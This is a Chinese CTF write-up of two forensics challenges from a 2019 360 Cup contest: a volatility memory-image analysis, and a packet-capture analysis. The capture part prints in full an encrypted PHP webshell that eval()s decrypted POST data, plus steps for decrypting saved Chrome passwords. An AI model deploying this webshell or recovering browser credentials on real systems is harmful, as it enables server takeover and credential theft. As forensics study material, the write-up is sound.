2019 360杯网络安全职业技能大赛 复赛WriteUP
2019-11-04 本文已影响0人
Eumenides_62ac
1
html实体 Unicode

8
取证分析题目。先用volatility
分析下架构:
$ volatility -f wuliao.data imageinfo

然后看一下历史进程:
$ volatility -f wuliao.data --profile=Win7SP1x64 pslist
这题进程没什么东西。
看一下浏览器历史:
$ volatility -f wuliao.data --profile=Win7SP1x64 iehistory

可以看到下载了
eh.png
,去看一下:
$ volatility -f wuliao.data --profile=Win7SP1x64 filescan | grep Download

接下来来导出这张
png
图片:
$ volatility -f wuliao.data --profile=Win7SP1x64 dumpfiles -D ./ -Q 0x000000007f0815e0
改个名就可以看到最后的flag
了。

9
(这题我一直以为是把master key导入内存中,后来只要找到那个明文密码解密就可以了,结果比赛的时候浪费了挺多时间的,本来应该很早就做出来了)
打开流量包,可以看到大部分都是http
的流量:

过滤下
http
的流量,可以看到一个php
文件。
来看下它通过
upload.php
传的shell
是什么:
------WebKitFormBoundaryZVVxyeHaotZF3Sok
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: text/php
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
------WebKitFormBoundaryZVVxyeHaotZF3Sok
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryZVVxyeHaotZF3Sok--
可以看到它通过加载openssl
模块,来对传输的数据进行加密。
先来找下$key
,key
为d59042be6e437849
。

构造自己的解密脚本:
<?php
$post=''; # 放入你要解密的内容
$flag=openssl_decrypt($post, "AES128", 'd59042be6e437849');
echo $flag;
来看看传输了什么:



把数据解密得到:
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$content="f5dfe44a-0213-45db-a617-8db5e5a07ab3";
main($content);

{"status":"c3VjY2Vzcw==","msg":"ZjVkZmU0NGEtMDIxMy00NWRiLWE2MTctOGRiNWU1YTA3YWIz"}
然后这题主要是解密Chrome
浏览器的保存密码的Login Data
数据库(就是个SQLIte3数据库),解密得到明文密码,那个明文密码就是最后的flag
。
解这题主要需要明文密码、blob
、master key
。主要是我标记的这三个数据包:


先提取
blob
。把标记的654
数据包提取出来,用工具打开看下数据库的结构:
然后用脚本提取出需要的
blob
:
from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("data.bin")
cursor = conn.cursor()
cursor.execute('SELECT name, value, encrypted_value FROM cookies')
for result in cursor.fetchall():
print (binascii.b2a_hex(result[2]))
f = open('test.txt', 'wb')
f.write(result[2])
f.close()
然后提取出322
号数据包,把明文密码提取出来:


提取
524
号数据包的master key file

然后使用
Windows Password Recovery
工具提取密码:
这里的需要的
SID
可以在数据包里找到,因为那个路径。最后的
flag
就是这个明文密码。